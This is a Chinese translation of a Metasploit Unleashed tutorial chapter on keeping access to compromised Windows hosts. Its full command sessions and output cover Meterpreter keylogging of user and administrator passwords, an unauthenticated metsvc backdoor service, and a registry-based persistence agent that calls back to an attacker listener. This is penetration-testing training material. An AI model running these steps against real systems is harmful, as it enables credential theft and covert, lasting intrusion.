翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/
翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。
翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。
翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。
十三、维护访问权限
1. 透视以保持访问权限
成功损害主机后,如果接洽规则允许,通常最好确保能够保持访问权限,以便进一步检查或渗透目标网络。这也确保了如果您使用的是一次性漏洞利用或使目标上的服务崩溃,您将能够重新连接到受害者。在这种情况下,在预先重新启动目标之前,您可能无法再次重新获得访问权限。
获得对一个系统的访问权限后,您最终可以访问共享同一子网的系统。从一个系统切换到另一个系统,通过监视用户的击键来获取有关用户活动的信息,以及使用捕获的令牌模拟用户,这些只是我们将在本模块中进一步描述的一些技术。
2. 键盘记录
在你利用了一个系统之后,你可以采取两种不同的方法,要么粉碎和抓取,要么低和慢。
低和慢可以带来大量伟大的信息,如果你有耐心和纪律。可用于低速和慢速信息收集的一个工具是带有Meterpreter的击键记录器脚本。该工具设计精良,允许您从系统捕获所有键盘输入,而无需将任何内容写入磁盘,从而为调查人员留下了最小的取证足迹,以便以后跟进。非常适合获取密码,用户帐户和各种其他有价值的信息。
让我们来看看它的实际情况。首先,我们将像往常一样利用一个系统。
msf exploit(warftpd_165_user) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 4 opened (172.16.104.130:4444 -> 172.16.104.145:1246)
meterpreter >
然后,我们将Meterpreter迁移到资源管理器.exe进程,这样我们就不必担心被利用的进程被重置并关闭我们的会话。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
188 winlogon.exe ??\C:\WINNT\system32\winlogon.exe
216 services.exe C:\WINNT\system32\services.exe
228 lsass.exe C:\WINNT\system32\lsass.exe
380 svchost.exe C:\WINNT\system32\svchost.exe
408 spoolsv.exe C:\WINNT\system32\spoolsv.exe
444 svchost.exe C:\WINNT\System32\svchost.exe
480 regsvc.exe C:\WINNT\system32\regsvc.exe
500 MSTask.exe C:\WINNT\system32\MSTask.exe
528 VMwareService.exe C:\Program Files\VMwareVMware Tools\VMwareService.exe
588 WinMgmt.exe C:\WINNT\System32\WBEMWinMgmt.exe
664 notepad.exe C:\WINNT\System32\notepad.exe
724 cmd.exe C:\WINNT\System32\cmd.exe
768 Explorer.exe C:\WINNT\Explorer.exe
800 war-ftpd.exe C:\Program Files\War-ftpd\war-ftpd.exe
888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
meterpreter > migrate 768
[*] Migrating to 768...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768
最后,我们启动键盘记录器,等待一段时间并转储输出。
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
tgoogle.cm my credit amex myusernamthi amexpasswordpassword
不能再简单了!请注意控件和退格等击键的表示方式。
作为额外的奖励,如果您想捕获系统登录信息,只需迁移到winlogon进程即可。这将捕获登录到系统的所有用户的凭据,只要它正在运行。
meterpreter > ps
Process list
=================
PID Name Path
--- ---- ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe
meterpreter > migrate 401
[*] Migrating to 401...
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer...
**** A few minutes later after an admin logs in ****
meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!
在这里,我们可以看到通过登录到winlogon进程,我们可以有效地收集登录到该系统的所有用户并捕获它。我们捕获了管理员使用密码"ohnoes1vebeenh4x0red!
3. Meterpreter 后门
在经历了利用系统的所有艰苦工作之后,给自己留出一种更简单的方法以供以后使用通常是一个好主意。这样,如果您最初利用的服务已关闭或已修补,您仍然可以访问系统。要了解 metsvc 的原始实现,请参阅http://www.phreedom.org/software/metsvc/。
使用metsvc后门,您可以在任何时候获得Meterpreter shell。
在我们继续之前,这里有一个警告:这里显示的metsvc不需要身份验证。这意味着任何可以访问端口的人都可以访问您的后门!如果您正在进行渗透测试,这不是一件好事,因为这可能是一个重大风险。在实际情况下,您可以更改源以要求身份验证,或者通过其他方法过滤掉与端口的远程连接。
首先,我们利用远程系统并迁移到Explorer.exe进程,以防用户注意到被利用的服务没有响应并决定杀死它。
msf exploit(3proxy) > exploit
[*] Started reverse handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.104:1983)
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
132 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
176 svchost.exe C:\WINDOWS\system32\svchost.exe
440 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe
632 Explorer.EXE C:\WINDOWS\Explorer.EXE
796 smss.exe \SystemRoot\System32\smss.exe
836 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
844 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
884 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
908 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
952 services.exe C:\WINDOWS\system32\services.exe
964 lsass.exe C:\WINDOWS\system32\lsass.exe
1120 vmacthlp.exe C:\Program Files\VMware\VMware Tools\vmacthlp.exe
1136 svchost.exe C:\WINDOWS\system32\svchost.exe
1236 svchost.exe C:\WINDOWS\system32\svchost.exe
1560 alg.exe C:\WINDOWS\System32\alg.exe
1568 WZCSLDR2.exe C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe
1596 jusched.exe C:\Program Files\Java\jre6\bin\jusched.exe
1656 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe
1748 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1928 jqs.exe C:\Program Files\Java\jre6\bin\jqs.exe
2028 snmp.exe C:\WINDOWS\System32\snmp.exe
2840 3proxy.exe C:\3proxy\bin\3proxy.exe
3000 mmc.exe C:\WINDOWS\system32\mmc.exe
meterpreter > migrate 632
[*] Migrating to 632...
[*] Migration completed successfully.
在安装 metsvc 之前,让我们看看有哪些选项可供我们使用。
meterpreter > run metsvc -h
[*]
OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)
meterpreter >
由于我们已经通过Meterpreter会话连接,因此我们不会将其设置为立即连接回我们。我们现在只安装该服务。
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
[*] * Installing service metsvc
* Starting service
Service metsvc successfully installed.
meterpreter >
该服务现已安装并等待连接。
1)与 METSVC 交互
现在,我们将使用具有窗口/metsvc_bind_tcp有效负载的 multi/handler 连接到远程系统。这是一个特殊的有效负载,因为Meterpreter有效负载通常是多阶段的,其中作为漏洞利用的一部分发送最少量的代码,然后在实现代码执行后上传更多代码。
想想航天飞机火箭,以及用于将航天飞机送入轨道的助推火箭。这大致相同,除了不是额外的物品在那里然后掉落,Meterpreter开始尽可能小,然后添加。但是,在这种情况下,完整的 Meterpreter 代码已上载到远程计算机,并且不需要暂存连接。
我们设置了所有选项,以metsvc_bind_tcp受害者的IP地址和我们希望在计算机上连接服务的端口。然后,我们运行该漏洞。
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 31337 yes The local port
RHOST 192.168.1.104 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
在发出exploits后,我们的metsvc后门立即连接到我们。
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
168 csrss.exe \??\C:\WINNT\system32\csrss.exe
188 winlogon.exe \??\C:WINNT\system32\winlogon.exe
216 services.exe C:\WINNT\system32\services.exe
228 lsass.exe C:\WINNT\system32\lsass.exe
380 svchost.exe C:\WINNT\system32\svchost.exe
408 spoolsv.exe C:\WINNT\system32\spoolsv.exe
444 svchost.exe C:\WINNT\System32\svchost.exe
480 regsvc.exe C:\WINNT\system32\regsvc.exe
500 MSTask.exe C:\WINNT\system32\MSTask.exe
528 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe
564 metsvc.exe c:\WINNT\my\metsvc.exe
588 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe
676 cmd.exe C:\WINNT\System32\cmd.exe
724 cmd.exe C:\WINNT\System32\cmd.exe
764 mmc.exe C:\WINNT\system32\mmc.exe
816 metsvc-server.exe c:\WINNT\my\metsvc-server.exe
888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1000 Explorer.exe C:\WINNT\Explorer.exe
1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
在这里,我们有一个典型的Meterpreter会话!同样,请小心何时以及如何使用此技巧。如果您通过在系统上为他们放置这样一个有用的后门来使攻击者的工作更容易,系统所有者将不会高兴。
4. 持久后门
维护访问权限是渗透测试的一个非常重要的阶段,不幸的是,它经常被忽视。每当获得管理访问权限时,大多数渗透测试人员都会被带走,因此,如果系统稍后被修补,那么他们就不再有权访问它。
持久的后门帮助我们访问过去成功入侵的系统。重要的是要注意,在渗透测试期间,它们可能超出了范围;但是,熟悉它们至关重要。现在让我们来看看一些持久的后门!
1)Meterpreter 服务
在经历了利用系统的所有艰苦工作之后,通常最好让自己以更简单的方式返回系统以供以后使用。这样,如果您最初利用的服务已关闭或已修补,您仍然可以访问系统。Metasploit有一个Meterpreter脚本persistence.rb,它将创建一个Meterpreter服务,即使重新启动远程系统,您也可以使用该服务。
在我们进一步讨论之前,这里有一句警告。此处所示的持久性 Meterpreter 不需要身份验证。这意味着任何可以访问端口的人都可以访问您的后门!如果您正在进行渗透测试,这不是一件好事,因为这可能是一个重大风险。在现实世界中,请务必格外小心,并确保在订婚完成后自行清理。
一旦我们最初利用了主机,我们就使用 -h
开关运行 persistence
,以查看哪些选项可用:
meterpreter > run persistence -h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L Location in target host to write payload to, if none %TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on which the system running Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back
我们将持久的 Meterpreter 会话配置为等待用户登录到远程系统,并尝试每隔 5 秒通过端口 443 上的 IP 地址 192.168.1.71 连接到我们的侦听器。
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >
请注意,脚本输出为您提供了在完成持久侦听器后删除该侦听器的命令。请务必记下它,以免在系统上留下未经身份验证的后门。为了验证它是否有效,我们重新启动远程系统并设置有效负载处理程序。
meterpreter > reboot
Rebooting...
meterpreter > exit
[*] Meterpreter session 3 closed. Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...
当用户登录到远程系统时,将为我们打开一个 Meterpreter 会话。
[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600
meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter >